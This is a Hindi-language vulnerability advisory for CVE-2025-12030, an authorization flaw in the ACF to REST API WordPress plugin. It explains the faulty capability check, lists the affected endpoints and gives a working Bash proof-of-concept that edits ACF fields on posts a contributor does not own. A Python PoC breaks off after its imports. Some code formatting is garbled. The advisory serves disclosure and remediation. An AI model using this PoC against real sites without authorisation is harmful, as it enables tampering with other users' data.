CVE-2025-12030: ACF to REST API WordPress प्लगइन में असुरक्षित प्रत्यक्ष वस्तु संदर्भ

कीवर्ड: CVE-2025-12030, ACF to REST API vulnerability, IDOR, WordPress security, authenticated exploit, WordPress plugin vulnerability, CWE-639, ACF field modification, authorization bypass, WordPress CVE 2025, Advanced Custom Fields, REST API security

विषयसूची

• अवलोकन
• कमजोरी विवरण
• तकनीकी विश्लेषण
• हमला वेक्टर
• प्रूफ ऑफ कॉन्सेप्ट
• सुधार मार्गदर्शिका
• पता लगाना
• CVSS मीट्रिक्स
• संदर्भ
• क्रेडिट
• सुरक्षा संपर्क

अवलोकन

ACF to REST API WordPress प्लगइन IDOR कमजोरी (CVE-2025-12030) - एक सुरक्षा दोष जो योगदानकर्ता-स्तरीय पहुँच वाले प्रमाणित उपयोगकर्ताओं को उन वस्तुओं पर ACF फ़ील्ड बदलने की अनुमति देता है जिनके वे स्वामी नहीं हैं।

ACF to REST API WordPress प्लगइन में एक असुरक्षित प्रत्यक्ष वस्तु संदर्भ (IDOR) कमजोरी पाई गई है जो न्यूनतम विशेषाधिकारों वाले प्रमाणित हमलावरों को संपूर्ण WordPress इंस्टॉलेशन में ACF फ़ील्ड बदलने की अनुमति देती है।

खोजकर्ता: Kai Aizen (SnailSploit)
प्रकाशित: 6 जनवरी, 2026
CVSS स्कोर: 4.3 (मध्यम)
CWE: CWE-639 - उपयोगकर्ता-नियंत्रित कुंजी के माध्यम से प्राधिकरण बाईपास
प्लगइन: ACF to REST API
प्लगइन स्लग: acf-to-rest-api
हमला प्रकार: असुरक्षित प्रत्यक्ष वस्तु संदर्भ (IDOR)
आवश्यक विशेषाधिकार: योगदानकर्ता+ (प्रमाणित हमला)

कमजोरी विवरण

विवरण

WordPress के लिए ACF to REST API प्लगइन संस्करण 3.3.4 तक (और सहित) सभी संस्करणों में असुरक्षित प्रत्यक्ष वस्तु संदर्भ के प्रति संवेदनशील है। यह update_item_permissions_check() विधि में अपर्याप्त क्षमता जाँच के कारण है, जो केवल यह सत्यापित करता है कि वर्तमान उपयोगकर्ता के पास edit_posts क्षमता है, बिना वस्तु-विशिष्ट अनुमतियों (जैसे edit_post($id), edit_user($id), manage_options) की जाँच किए।

प्रभाव

यह कमजोरी योगदानकर्ता-स्तर और उससे ऊपर की पहुँच वाले प्रमाणित हमलावरों को निम्नलिखित की अनुमति देती है:

• उन पोस्ट पर ACF फ़ील्ड बदलना जिनके वे स्वामी नहीं हैं - पोस्ट स्वामित्व प्रतिबंधों को बायपास करना
• किसी भी उपयोगकर्ता खाते पर ACF फ़ील्ड बदलना - प्रशासक खातों सहित
• टिप्पणियों पर ACF फ़ील्ड बदलना - टिप्पणी मेटाडेटा बदलना
• वर्गीकरण शर्तों पर ACF फ़ील्ड बदलना - श्रेणी/टैग कस्टम फ़ील्ड बदलना
• वैश्विक विकल्प पृष्ठ बदलना - manage_options क्षमता के बिना साइट-व्यापी ACF विकल्पों तक पहुँचना

ये सभी संशोधन /wp-json/acf/v3/{type}/{id} REST API एंडपॉइंट के माध्यम से संभव हैं।

प्रभावित संस्करण

• कमजोर: सभी संस्करण ≤ 3.3.4
• पैच किया गया: ⚠️ कोई ज्ञात पैच उपलब्ध नहीं

CVSS v3.1 मीट्रिक्स```

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

| मीट्रिक | मान |
|--------|-------|
| हमला वेक्टर | Network (AV:N) |
| हमला जटिलता | Low (AC:L) |
| आवश्यक विशेषाधिकार | Low (PR:L) |
| उपयोगकर्ता सहभागिता | None (UI:N) |
| दायरा | Unchanged (S:U) |
| गोपनीयता | None (C:N) |
| अखंडता | Low (I:L) |
| उपलब्धता | None (A:N) |

**CVSS v3.1 विघटन:**

- **हमला वेक्टर (AV):** Network - इस कमजोरी का नेटवर्क के माध्यम से दूरस्थ रूप से शोषण किया जा सकता है
- **हमला जटिलता (AC):** Low - शोषण के लिए किसी विशेष परिस्थिति की आवश्यकता नहीं है
- **आवश्यक विशेषाधिकार (PR):** Low - Contributor-स्तर के प्रमाणीकरण की आवश्यकता है
- **उपयोगकर्ता सहभागिता (UI):** None - शोषण बिना किसी उपयोगकर्ता सहभागिता के काम करता है
- **दायरा (S):** Unchanged - कमजोरी केवल संवेदनशील घटक को प्रभावित करती है
- **गोपनीयता प्रभाव (C):** None - कोई सूचना प्रकटीकरण नहीं
- **अखंडता प्रभाव (I):** Low - ACF फ़ील्ड का अनधिकृत संशोधन
- **उपलब्धता प्रभाव (A):** None - कोई उपलब्धता प्रभाव नहीं

## तकनीकी विवरण

### कमजोरी का मूल कारण

यह कमजोरी `update_item_permissions_check()` विधि में मौजूद है, जो अपर्याप्त प्राधिकरण प्रदान करती है:

```php
protected function update_item_permissions_check( $object ) {
``````php
// Vulnerable code pattern (simplified)
public function update_item_permissions_check( $request ) {
    // VULNERABLE: Only checks generic edit_posts capability
    if ( current_user_can( 'edit_posts' ) ) {
        return true;
    }
    return false;
}

सही कार्यान्वयन को ऑब्जेक्ट-विशिष्ट अनुमतियों की जांच करनी चाहिए:```php // Secure implementation pattern public function update_item_permissions_check( $request ) { $id = $request->get_param( 'id' ); $type = $request->get_param( 'type' );

switch ( $type ) {
    case 'post':
        return current_user_can( 'edit_post', $id );
    case 'user':
        return current_user_can( 'edit_user', $id );
    case 'option':
        return current_user_can( 'manage_options' );
    // ... other object types
}
return false;

}

### कमजोर एंडपॉइंट्स

| Endpoint | लक्ष्य | आवश्यक क्षमता (होनी चाहिए) |
|----------|--------|--------------------------------|
| `/wp-json/acf/v3/posts/{id}` | पोस्ट्स | `edit_post($id)` |
| `/wp-json/acf/v3/pages/{id}` | पेजेस | `edit_page($id)` |
| `/wp-json/acf/v3/users/{id}` | उपयोगकर्ता | `edit_user($id)` |
| `/wp-json/acf/v3/comments/{id}` | टिप्पणियाँ | `edit_comment($id)` |
| `/wp-json/acf/v3/terms/{taxonomy}/{id}` | टर्म्स | `edit_term($id)` |
| `/wp-json/acf/v3/options/{option}` | विकल्प | `manage_options` |

### हमला वेक्टर```
PUT/POST /wp-json/acf/v3/{type}/{id}
Authorization: Basic <contributor_credentials>
Content-Type: application/json

{
    "fields": {
        "field_name": "malicious_value"
    }
}

यह कमजोरी वर्डप्रेस REST API के माध्यम से किसी भी प्रमाणित उपयोगकर्ता द्वारा शोषित की जा सकती है जिसके पास कम से कम योगदानकर्ता भूमिका हो।

Proof of Concept

⚠️ केवल शैक्षिक और अधिकृत परीक्षण उद्देश्यों के लिए

Bash PoC```bash

#!/bin/bash

CVE-2025-12030 PoC - ACF to REST API IDOR

TARGET_URL="$1" USERNAME="$2" APP_PASSWORD="$3" TARGET_POST_ID="$4"

if [ -z "$TARGET_URL" ] || [ -z "$USERNAME" ] || [ -z "$APP_PASSWORD" ] || [ -z "$TARGET_POST_ID" ]; then echo "Usage: $0 <target_url> <app_password> <post_id>" echo "Example: $0 https://example.com contributor_user xxxx-xxxx-xxxx 42" exit 1 fi

echo "[] CVE-2025-12030 - ACF to REST API IDOR PoC" echo "[] Target: $TARGET_URL" echo "[*] Target Post ID: $TARGET_POST_ID" echo ""

Encode credentials

AUTH=$(echo -n "$USERNAME:$APP_PASSWORD" | base64)

Step 1: Read current ACF fields (verify access)

echo "[*] Step 1: Reading current ACF fields..." curl -s -X GET "$TARGET_URL/wp-json/acf/v3/posts/$TARGET_POST_ID"
-H "Authorization: Basic $AUTH"
| python3 -m json.tool

echo ""

Step 2: Attempt to modify ACF fields on post we don't own

echo "[*] Step 2: Attempting to modify ACF fields on post $TARGET_POST_ID..." RESPONSE=$(curl -s -X POST "$TARGET_URL/wp-json/acf/v3/posts/$TARGET_POST_ID"
-H "Authorization: Basic $AUTH"
-H "Content-Type: application/json"
-d '{"fields":{"test_field":"CVE-2025-12030_IDOR_TEST"}}')

echo "$RESPONSE" | python3 -m json.tool

echo "" if echo "$RESPONSE" | grep -q "CVE-2025-12030_IDOR_TEST"; then echo "[!] VULNERABLE: Successfully modified ACF fields on post we don't own!" else echo "[+] Not vulnerable or modification failed" fi

### Python PoC```python
#!/usr/bin/env python3
"""
CVE-2025-12030 - ACF to REST API IDOR PoC
For educational and authorized testing purposes only
"""

import requests
import sys
import json
import base64